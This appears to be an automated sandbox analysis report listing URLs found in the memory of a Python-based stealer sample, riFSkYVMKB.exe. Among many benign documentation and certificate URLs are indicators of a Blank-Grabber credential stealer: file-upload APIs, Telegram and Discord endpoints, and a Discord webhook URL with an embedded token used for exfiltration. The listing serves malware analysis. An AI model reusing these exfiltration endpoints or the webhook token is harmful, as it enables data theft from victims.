              Source: riFSkYVMKB.exe, 00000000.00000003.2108998698.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109202679.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109329732.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109785562.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109904913.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109508658.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112419226.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111447565.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2110717408.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109096689.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111657016.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109405826.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112529975.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111367854.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109606694.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112747494.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.drString found in binary or memory: http://ocsp.digicert.com0
              Source: riFSkYVMKB.exe, 00000000.00000003.2108998698.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109202679.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109329732.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109785562.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109508658.00000267A8E5C000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109904913.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109508658.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112419226.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111447565.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2110717408.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109096689.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111657016.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109405826.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112529975.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111367854.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109606694.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112747494.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112419226.00000267A8E5C000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.drString found in binary or memory: http://ocsp.digicert.com0A
              Source: riFSkYVMKB.exe, 00000000.00000003.2108998698.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109202679.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109329732.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109785562.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109508658.00000267A8E5C000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109904913.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109508658.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112419226.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111447565.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2110717408.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109096689.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111657016.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109405826.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112529975.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111367854.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109606694.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112747494.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112419226.00000267A8E5C000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.drString found in binary or memory: http://ocsp.digicert.com0C
              Source: riFSkYVMKB.exe, 00000000.00000003.2108998698.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109202679.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109329732.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109785562.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109904913.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109508658.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112419226.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111447565.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2110717408.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109096689.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111657016.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109405826.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112529975.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111367854.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109606694.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112747494.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.drString found in binary or memory: http://ocsp.digicert.com0X
              Source: riFSkYVMKB.exe, rar.exe.0.drString found in binary or memory: http://ocsp.sectigo.com0
              Source: riFSkYVMKB.exeString found in binary or memory: http://ocsp.sectigo.com0$
              Source: riFSkYVMKB.exe, 00000000.00000003.2112126796.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.drString found in binary or memory: http://ocsp.thawte.com0
              Source: powershell.exe, 00000008.00000002.2197289042.0000023E53719000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
              Source: riFSkYVMKB.exe, rar.exe.0.drString found in binary or memory: http://s.symcb.com/universal-root.crl0
              Source: riFSkYVMKB.exe, rar.exe.0.drString found in binary or memory: http://s.symcd.com06
              Source: powershell.exe, 00000008.00000002.2197289042.0000023E53719000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
              Source: powershell.exe, 00000008.00000002.2197289042.0000023E534F1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
              Source: powershell.exe, 00000008.00000002.2197289042.0000023E53719000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/
              Source: riFSkYVMKB.exe, 00000002.00000002.2278803027.000001CF44E80000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://tools.ietf.org/html/rfc6125#section-6.4.3
              Source: riFSkYVMKB.exe, rar.exe.0.drString found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
              Source: riFSkYVMKB.exe, 00000000.00000003.2112126796.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.drString found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
              Source: riFSkYVMKB.exe, rar.exe.0.drString found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
              Source: riFSkYVMKB.exe, 00000000.00000003.2112126796.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.drString found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
              Source: riFSkYVMKB.exe, 00000000.00000003.2112126796.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.drString found in binary or memory: http://ts-ocsp.ws.symantec.com07
              Source: riFSkYVMKB.exe, rar.exe.0.drString found in binary or memory: http://ts-ocsp.ws.symantec.com0;
              Source: powershell.exe, 00000008.00000002.2197289042.0000023E53719000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
              Source: riFSkYVMKB.exe, 00000000.00000003.2108998698.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109202679.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109329732.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109785562.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109904913.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109508658.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112419226.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111447565.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2110717408.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109096689.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111657016.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109405826.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112529975.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2111367854.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2109606694.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000000.00000003.2112747494.00000267A8E4F000.00000004.00000020.00020000.00000000.sdmp, select.pyd.0.dr, _decimal.pyd.0.dr, libffi-8.dll.0.dr, _socket.pyd.0.dr, _ssl.pyd.0.drString found in binary or memory: http://www.digicert.com/CPS0
              Source: riFSkYVMKB.exe, 00000002.00000003.2275820940.000001CF449A2000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2277732539.000001CF449A4000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2167312016.000001CF4495F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2129657883.000001CF44998000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2275108858.000001CF44998000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2274015379.000001CF4495F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6
              Source: powershell.exe, 00000008.00000002.2227221898.0000023E6BAFC000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.micom/pkiops/Docs/ry.htm0
              Source: riFSkYVMKB.exe, 00000002.00000002.2279725151.000001CF4592F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2278914178.000001CF44FF4000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://MD8.mozilla.org/1/m
              Source: riFSkYVMKB.exe, 00000002.00000002.2278914178.000001CF4502C000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://account.bellmedia.c
              Source: powershell.exe, 00000008.00000002.2197289042.0000023E534F1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore68
              Source: riFSkYVMKB.exe, 00000002.00000002.2278914178.000001CF4502C000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://allegro.pl/
              Source: riFSkYVMKB.exe, 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://api.anonfiles.com/upload
              Source: riFSkYVMKB.exe, 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://api.gofile.io/getServer
              Source: riFSkYVMKB.exe, 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot
              Source: riFSkYVMKB.exe, 00000002.00000002.2278914178.000001CF44F9C000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://bugzilla.mo
              Source: powershell.exe, 00000008.00000002.2220716409.0000023E63564000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
              Source: powershell.exe, 00000008.00000002.2220716409.0000023E63564000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
              Source: powershell.exe, 00000008.00000002.2220716409.0000023E63564000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
              Source: riFSkYVMKB.exe, rar.exe.0.drString found in binary or memory: https://d.symcb.com/cps0%
              Source: riFSkYVMKB.exe, rar.exe.0.drString found in binary or memory: https://d.symcb.com/rpa0
              Source: riFSkYVMKB.exe, rar.exe.0.drString found in binary or memory: https://d.symcb.com/rpa0.
              Source: riFSkYVMKB.exe, 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://discord.com/api/v9/users/
              Source: riFSkYVMKB.exe, 00000002.00000002.2278670156.000001CF44D80000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://discord.com/api/webhooks/1325008109688848394/ap33zUqBiGzDvwCP0tF85_LvY8CYm5iFLtVRNIJg4zgkMF4
              Source: riFSkYVMKB.exe, 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://discordapp.com/api/v9/users/
              Source: riFSkYVMKB.exe, 00000002.00000002.2276963330.000001CF44380000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2124520673.000001CF44420000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2118298027.000001CF44420000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64
              Source: riFSkYVMKB.exe, 00000002.00000002.2277346861.000001CF44580000.00000004.00001000.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2117232975.000001CF441F1000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2117488208.000001CF4420D000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2117594614.000001CF4420D000.00000004.00000020.00020000.00000000.sdmp, base_library.zip.0.drString found in binary or memory: https://docs.python.org/3/howto/mro.html.
              Source: riFSkYVMKB.exe, 00000002.00000002.2276589656.000001CF43E70000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename
              Source: riFSkYVMKB.exe, 00000002.00000002.2276589656.000001CF43E70000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code
              Source: riFSkYVMKB.exe, 00000002.00000002.2276589656.000001CF43EF4000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source
              Source: riFSkYVMKB.exe, 00000002.00000002.2276589656.000001CF43E70000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.is_package
              Source: riFSkYVMKB.exe, 00000002.00000002.2276589656.000001CF43EF4000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.create_module
              Source: riFSkYVMKB.exe, 00000002.00000002.2276589656.000001CF43E70000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module
              Source: riFSkYVMKB.exe, 00000002.00000002.2276589656.000001CF43E70000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches
              Source: riFSkYVMKB.exe, 00000002.00000002.2276589656.000001CF43E70000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec
              Source: riFSkYVMKB.exe, 00000002.00000002.2276840035.000001CF44140000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data
              Source: riFSkYVMKB.exe, 00000002.00000002.2278579896.000001CF44C80000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://foss.heptapod.net/pypy/pypy/-/issues/3539
              Source: riFSkYVMKB.exe, 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://github.com/Blank-c/Blank-Grabber
              Source: riFSkYVMKB.exe, 00000002.00000003.2124243085.000001CF44529000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2124333169.000001CF44847000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2123922397.000001CF44B86000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2124963713.000001CF44529000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2124890420.000001CF44847000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/Blank-c/BlankOBF
              Source: powershell.exe, 00000008.00000002.2197289042.0000023E53719000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
              Source: riFSkYVMKB.exe, 00000002.00000002.2276489577.000001CF42667000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2276840035.000001CF44140000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy
              Source: riFSkYVMKB.exe, 00000002.00000002.2276589656.000001CF43EF4000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688
              Source: riFSkYVMKB.exe, 00000002.00000002.2276840035.000001CF44140000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py
              Source: riFSkYVMKB.exe, 00000002.00000002.2276489577.000001CF42667000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2276840035.000001CF44140000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader
              Source: riFSkYVMKB.exe, 00000002.00000002.2277520304.000001CF44780000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/python/cpython/issues/86361.
              Source: riFSkYVMKB.exe, 00000002.00000003.2129587329.000001CF4454A000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2129369311.000001CF44462000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2278803027.000001CF44E80000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://github.com/python/importlib_metadata/wiki/Development-Methodology
              Source: riFSkYVMKB.exe, 00000002.00000002.2276489577.000001CF42667000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2276840035.000001CF44140000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#
              Source: riFSkYVMKB.exe, 00000002.00000002.2278579896.000001CF44C80000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963
              Source: riFSkYVMKB.exe, 00000002.00000003.2167312016.000001CF4495F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2277732539.000001CF4495F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2130523745.000001CF4495F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2274015379.000001CF4495F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.
              Source: riFSkYVMKB.exe, 00000002.00000002.2278803027.000001CF44E80000.00000004.00001000.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2277520304.000001CF44853000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://github.com/urllib3/urllib3/issues/2920
              Source: riFSkYVMKB.exe, 00000002.00000002.2278803027.000001CF44E80000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://github.com/urllib3/urllib3/issues/3290
              Source: riFSkYVMKB.exe, 00000002.00000003.2167312016.000001CF44A04000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2277927609.000001CF44A83000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2274769955.000001CF44A83000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://google.com/
              Source: riFSkYVMKB.exe, 00000002.00000002.2276963330.000001CF44380000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2277927609.000001CF44A03000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2275108858.000001CF44A03000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2130115420.000001CF44A04000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2274015379.000001CF44A03000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2167312016.000001CF44A04000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://google.com/mail
              Source: riFSkYVMKB.exe, 00000002.00000003.2274015379.000001CF4495F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://google.com/mail/
              Source: riFSkYVMKB.exe, 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://gstatic.com/generate_204
              Source: riFSkYVMKB.exe, 00000002.00000002.2277927609.000001CF44A03000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2275108858.000001CF44A03000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2130115420.000001CF44A04000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2274015379.000001CF44A03000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2167312016.000001CF44A04000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://html.spec.whatwg.org/multipage/
              Source: riFSkYVMKB.exe, 00000002.00000003.2274769955.000001CF44A83000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://httpbin.org/
              Source: riFSkYVMKB.exe, 00000002.00000003.2275949217.000001CF44870000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://json.org
              Source: riFSkYVMKB.exe, 00000002.00000002.2280114077.000001CF45C44000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://login.live.com
              Source: riFSkYVMKB.exe, 00000002.00000002.2280114077.000001CF45C40000.00000004.00001000.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2279725151.000001CF45921000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com
              Source: powershell.exe, 00000008.00000002.2220716409.0000023E63564000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
              Source: riFSkYVMKB.exe, 00000002.00000002.2278670156.000001CF44D80000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://packaging.python.org/en/latest/specifications/core-metadata/#core-metadata
              Source: riFSkYVMKB.exe, 00000002.00000003.2275820940.000001CF449A2000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2277732539.000001CF449A4000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2167312016.000001CF4495F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2129657883.000001CF44998000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2275108858.000001CF44998000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2274015379.000001CF4495F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://packaging.python.org/en/latest/specifications/entry-points/#file-format
              Source: riFSkYVMKB.exe, 00000002.00000003.2275820940.000001CF449A2000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2277732539.000001CF449A4000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2167312016.000001CF4495F000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2129657883.000001CF44998000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2275108858.000001CF44998000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000003.2274015379.000001CF4495F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://packaging.python.org/en/latest/specifications/recording-installed-packages/#the-record-file
              Source: riFSkYVMKB.exe, 00000002.00000003.2130115420.000001CF44A04000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2278803027.000001CF44E80000.00000004.00001000.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2278579896.000001CF44C80000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://packaging.python.org/specifications/entry-points/
              Source: riFSkYVMKB.exe, 00000002.00000003.2115741032.000001CF44141000.00000004.00000020.00020000.00000000.sdmp, riFSkYVMKB.exe, 00000002.00000002.2277432782.000001CF44680000.00000004.00001000.00020000.00000000.sdmp, base_library.zip.0.drString found in binary or memory: https://peps.python.org/pep-0205/
              Source: riFSkYVMKB.exe, 00000002.00000002.2284437276.00007FFD94658000.00000040.00000001.01000000.00000004.sdmpString found in binary or memory: https://peps.python.org/pep-0263/
